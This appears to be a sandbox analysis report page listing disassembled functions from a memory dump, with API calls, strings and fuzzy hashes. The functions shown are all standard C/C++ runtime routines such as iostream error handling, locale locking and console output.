Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: _strcspn
String ID: .$invalid string position
API String ID: 3709121408-2424062830
Opcode ID: c8095b165174ff14788751790909a1844f8f80e025134c09ad35761f1fd878ec
Instruction ID: d44f87b800ce0713383f16b957826ed319ed2be7d7bb7bd2bc5cafbc9173d1c0
Opcode Fuzzy Hash: c8095b165174ff14788751790909a1844f8f80e025134c09ad35761f1fd878ec
Instruction Fuzzy Hash: 6502E571628325AFC714DFA4D484A2AB7E5FFC5304F14865CF8958B361EB70E964CB82

Function 002222C0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 002222DA

Strings

ios_base::badbit set, xrefs: 00222674, 00222692
ios_base::eofbit set, xrefs: 00222664
ios_base::failbit set, xrefs: 00222669

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 520dccfb0402a934fa68433598ee37e3d5418582e0342f685a9e3c55b5c4e8a5
Instruction ID: 7d24334a414cc8a245c886c22d8f254b25d952c36ca94aed5f9a23479a02db1e
Opcode Fuzzy Hash: 520dccfb0402a934fa68433598ee37e3d5418582e0342f685a9e3c55b5c4e8a5
Instruction Fuzzy Hash: 28C1AE35220212EFC714DF28D490B6AB7E1FF88314F95866CE8598B3A1D736EC65CB81

Function 002214C0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 248COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 002214DA

Strings

ios_base::badbit set, xrefs: 00221763, 00221781, 00221AB3
ios_base::eofbit set, xrefs: 00221753
ios_base::failbit set, xrefs: 00221758

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 761c4e366a8d500c9479c9cf5b65bb1a0b3f0e79d5f5d17d047485f6aea49992
Instruction ID: 82988ad68c79db18b242f50c53359a42bfeebd168a9b49aece4534a4da223995
Opcode Fuzzy Hash: 761c4e366a8d500c9479c9cf5b65bb1a0b3f0e79d5f5d17d047485f6aea49992
Instruction Fuzzy Hash: 8791AD702102109FDB14CF69D494F2AB7E6FF89314F1886A8E9468F396D735EC66CB41

Function 0023F2D6 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(00000000,?,0023CF02), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000,?,?,00000028,00236E76), ref: 0023ABC9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,002346FA,?,?,?,00000055,?,-00000050,?,?,?), ref: 0023F395
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,002346FA,?,?,?,00000055,?,-00000050,?,?), ref: 0023F3CC

Strings

l#%, xrefs: 0023F349
utf8, xrefs: 0023F49E

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: l#%$utf8
API String ID: 943130320-1806676032
Opcode ID: 6b7e6a31e2baa725a7a9702ee2d5833ce649c89f4f9bd3fccba13432c89c36cd
Instruction ID: 3e5512d1bb866e2e110405c5fb2cb89ed46810312e4e7367fb02af14371e86c7
Opcode Fuzzy Hash: 6b7e6a31e2baa725a7a9702ee2d5833ce649c89f4f9bd3fccba13432c89c36cd
Instruction Fuzzy Hash: 4C51E9F1E20306BAD765AF70EE42BB773A8EF04700F14447AFB4997181E770D9608AA1

Function 0022CBC7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(BB40E64E,ios_base::badbit set,?,?,?,00000000,0024AD5D,000000FF,00000000,00229652), ref: 0022CBF2

Part of subcall function 0022CC88: std::_Throw_Cpp_error.LIBCPMT ref: 0022CCA9

Strings

ios_base::badbit set, xrefs: 0022CBDB
@z%, xrefs: 0022CBED
Xi%, xrefs: 0022CBF7

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID: @z%$Xi%$ios_base::badbit set
API String ID: 350343453-44902782
Opcode ID: 83409da9f9b6e983440c55e9a43b4312c14af398bd28e36e0578eac413b81735
Instruction ID: ecb748b31f06270821a8d3117794eb834ae714f88d1cc8e20eb2515b2f584d25
Opcode Fuzzy Hash: 83409da9f9b6e983440c55e9a43b4312c14af398bd28e36e0578eac413b81735
Instruction Fuzzy Hash: 16110B31620762AFDB15DF94E841BAEB3A4FF04361F50053EE41EA7680D771AC20CB50

Function 00245521 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002455BD,00000000,?,00258370,?,?,?,002454F4,00000004,InitializeCriticalSectionEx,0024E634,0024E63C), ref: 0024552E
GetLastError.KERNEL32(?,002455BD,00000000,?,00258370,?,?,?,002454F4,00000004,InitializeCriticalSectionEx,0024E634,0024E63C,00000000,?,0023A57C), ref: 00245538
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00245560

Strings

api-ms-, xrefs: 00245545

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 23f128627182a6bc39588da36d4edd1a388f49472ef4c2200735cf3286da24b0
Instruction ID: 1ceacc808259dd4d2f6bb0088e777e31f7303aeba4d5e8a1e573c2bd7968123a
Opcode Fuzzy Hash: 23f128627182a6bc39588da36d4edd1a388f49472ef4c2200735cf3286da24b0
Instruction Fuzzy Hash: 6CE04830694305B7DF155F50FC0AB683BA59B10F92F641020F94CE44E1D7719A709648

Function 002428CA Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0024292D

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00242B7F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00242BC5
GetLastError.KERNEL32 ref: 00242C68

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: a7a23412ab50f2d700c56611ecd157cfcb478cc31917d6965829228d6af989cd
Instruction ID: 49712424502d63908cc3902fb40641404d7835b8d381ccd9bee0c7862dd6657f
Opcode Fuzzy Hash: a7a23412ab50f2d700c56611ecd157cfcb478cc31917d6965829228d6af989cd
Instruction Fuzzy Hash: 61D198B1D10249DFCB19CFE9D880AADBBB4FF08304F68412AE816EB351E630A955CF50

Function 00239C53 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00239D1A
___AdjustPointer.LIBCMT ref: 00239D3D
___AdjustPointer.LIBCMT ref: 00239DD9

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c93d860b3f1caf30077e4544ffe178419e65f555ddeca4abe6ee89e67836774a
Instruction ID: 347c6e459829ee099877541254117ab7123b20a58c54f193d01ac3dad9488df8
Opcode Fuzzy Hash: c93d860b3f1caf30077e4544ffe178419e65f555ddeca4abe6ee89e67836774a
Instruction Fuzzy Hash: 6451E7B252460BAFDB25AF50D442B7AB7A4FF46710F14452EEC0647291D7B1ECE0CB90

Function 00222850 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022286C
std::_Lockit::_Lockit.LIBCPMT ref: 0022288A
std::_Lockit::~_Lockit.LIBCPMT ref: 002228AC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022291A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 1de7a3d18e0b03daae95be4f0040df587997b43603bce0b6b15654bb5f6a52e3
Instruction ID: 692ef6bc6888484b2a27d8791d5de267ee6e3b8ebff977f5e2b0d6c0c727a515
Opcode Fuzzy Hash: 1de7a3d18e0b03daae95be4f0040df587997b43603bce0b6b15654bb5f6a52e3
Instruction Fuzzy Hash: 01219C71924320FFC720EFA5F84DA2A77A0FB58325F05445DE8884B261D732AD64CF92

Function 00228290 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002282AC
std::_Lockit::_Lockit.LIBCPMT ref: 002282CA
std::_Lockit::~_Lockit.LIBCPMT ref: 002282EC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022835A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 1e4ae5b3de698b1b7a95456f6cdeba3160e39407fda057ca0efa959a04050a99
Instruction ID: 3d510944d051fdee2b88142d5b53fdbae4ab9986574ea5ed45111a92e0734ce1
Opcode Fuzzy Hash: 1e4ae5b3de698b1b7a95456f6cdeba3160e39407fda057ca0efa959a04050a99
Instruction Fuzzy Hash: C821BF71915321AFC710EF98F849A2A73E0FF58725F45459DE8884B262EB30EC60CF86

Function 00226AF0 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00226B0C
std::_Lockit::_Lockit.LIBCPMT ref: 00226B2A
std::_Lockit::~_Lockit.LIBCPMT ref: 00226B4C
std::_Lockit::~_Lockit.LIBCPMT ref: 00226BBA

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 735c752fa5975258ae8e73065f7d97863fb2c57fc5f6e3fbde734ab286b5c97d
Instruction ID: f776ba968ffd4f7dee796b30c3156baed4b09a7b9f290fed5f79643745d59104
Opcode Fuzzy Hash: 735c752fa5975258ae8e73065f7d97863fb2c57fc5f6e3fbde734ab286b5c97d
Instruction Fuzzy Hash: 0E21A672914325AFC710EF94F84DA2AB7E0EF58729F05445DE8849B351D730AC60CF82

Function 00228380 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022839C
std::_Lockit::_Lockit.LIBCPMT ref: 002283BA
std::_Lockit::~_Lockit.LIBCPMT ref: 002283DC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022844A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: ff4fde3b78f09f1867069b5858b316e1b3f8bd0957a28adfed4687f28d87c36a
Instruction ID: 24a12ad472b986088e45a2e57840117e2d7011a07de95976792c1d4dc4bf3b22
Opcode Fuzzy Hash: ff4fde3b78f09f1867069b5858b316e1b3f8bd0957a28adfed4687f28d87c36a
Instruction Fuzzy Hash: DA219471915325AFC710FF95F889A2AB3A0EF58725F05445DE8445B362DB30EC60CF82

Function 00225460 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022547C
std::_Lockit::_Lockit.LIBCPMT ref: 0022549A
std::_Lockit::~_Lockit.LIBCPMT ref: 002254BC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022552A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: ace93e850949ded68e6eaffe55cd7ec6b4bff54700c0c5695fd098cfd00f9b7d
Instruction ID: 7778c6b44372914fe2606d0bce66292efc9175391aa13ec27ac44f5ac819a325
Opcode Fuzzy Hash: ace93e850949ded68e6eaffe55cd7ec6b4bff54700c0c5695fd098cfd00f9b7d
Instruction Fuzzy Hash: 8921B471914730AFC710EF98F949A1AB3E0EF48325F45845DE4494B361DB30AD60CF82

Function 002406F6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0024075A
__dosmaperr.LIBCMT ref: 00240761
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0024079B
__dosmaperr.LIBCMT ref: 002407A2

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 8ea21cc1067cd021427e7a4d01399470ae18679ba3ad87888226e624b7e81952
Instruction ID: bceea2b83b997b7ea5a9749e4e910759b1070b35eb8c1f1b3a2de761d491e223
Opcode Fuzzy Hash: 8ea21cc1067cd021427e7a4d01399470ae18679ba3ad87888226e624b7e81952
Instruction Fuzzy Hash: 7321A171624206AF9B14AF61D8C496BF7A9EF10368B508518FE1597251D770FCA0CFA1

Function 00230C62 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ba7184e3df41e46c81a7afdf5611aa600fa6562bf137392e32901e36747517
Instruction ID: 1ac56fedd84d32df12bd9151c288462f69a777cf28fc4f7e2607a6d48a20b448
Opcode Fuzzy Hash: d1ba7184e3df41e46c81a7afdf5611aa600fa6562bf137392e32901e36747517
Instruction Fuzzy Hash: 5021BEF122420AAFCB10AFA4DCE596BB7ADEF04368F108915F81597151EB30EC618BB0

Function 00241AEC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00241AF4

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00241B2C
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00241B4C

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a732f5d7421a66f9e6c9b4afb42b88458e9618ac554a923ca0d1af2121368f7c
Instruction ID: 65efe5835619236b0ffa65926228dd2a055bd6d94e61df83b9585612fd117e87
Opcode Fuzzy Hash: a732f5d7421a66f9e6c9b4afb42b88458e9618ac554a923ca0d1af2121368f7c
Instruction Fuzzy Hash: 5511C4E1A316157E67162B716C8EC7F79ACDEA57E9B100438F40191101FE708E718A71

Function 0022CB2A Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022CB31
std::_Lockit::_Lockit.LIBCPMT ref: 0022CB3B
int.LIBCPMT ref: 0022CB52

Part of subcall function 0022A613: std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
Part of subcall function 0022A613: std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

std::_Lockit::~_Lockit.LIBCPMT ref: 0022CBAC

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 31e70956de11d88cb2ee004fa510f7577b248aafa27e6d1ba063aa0ca3be17c1
Instruction ID: db33604ada947b5e92e7716320e5123fb7a2e5ad26bdcfa3e07cc34ead4eb46c
Opcode Fuzzy Hash: 31e70956de11d88cb2ee004fa510f7577b248aafa27e6d1ba063aa0ca3be17c1
Instruction Fuzzy Hash: CD11AC3182422AABCB05EFE4F95A6BDB764AB48724F244449E8016B281CF709A208F91

Function 002499D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000), ref: 002499E7
GetLastError.KERNEL32(?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?,?,?,00242602,00000000), ref: 002499F3

Part of subcall function 00249A44: CloseHandle.KERNEL32(FFFFFFFE,00249A03,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?,?), ref: 00249A54

___initconout.LIBCMT ref: 00249A03

Part of subcall function 00249A25: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002499C1,00248EAC,?,?,00242CBC,?,00000000,00000000,?), ref: 00249A38

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00248EBF,00000000,00000001,00000000,?,?,00242CBC,?,00000000,00000000,?), ref: 00249A18

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
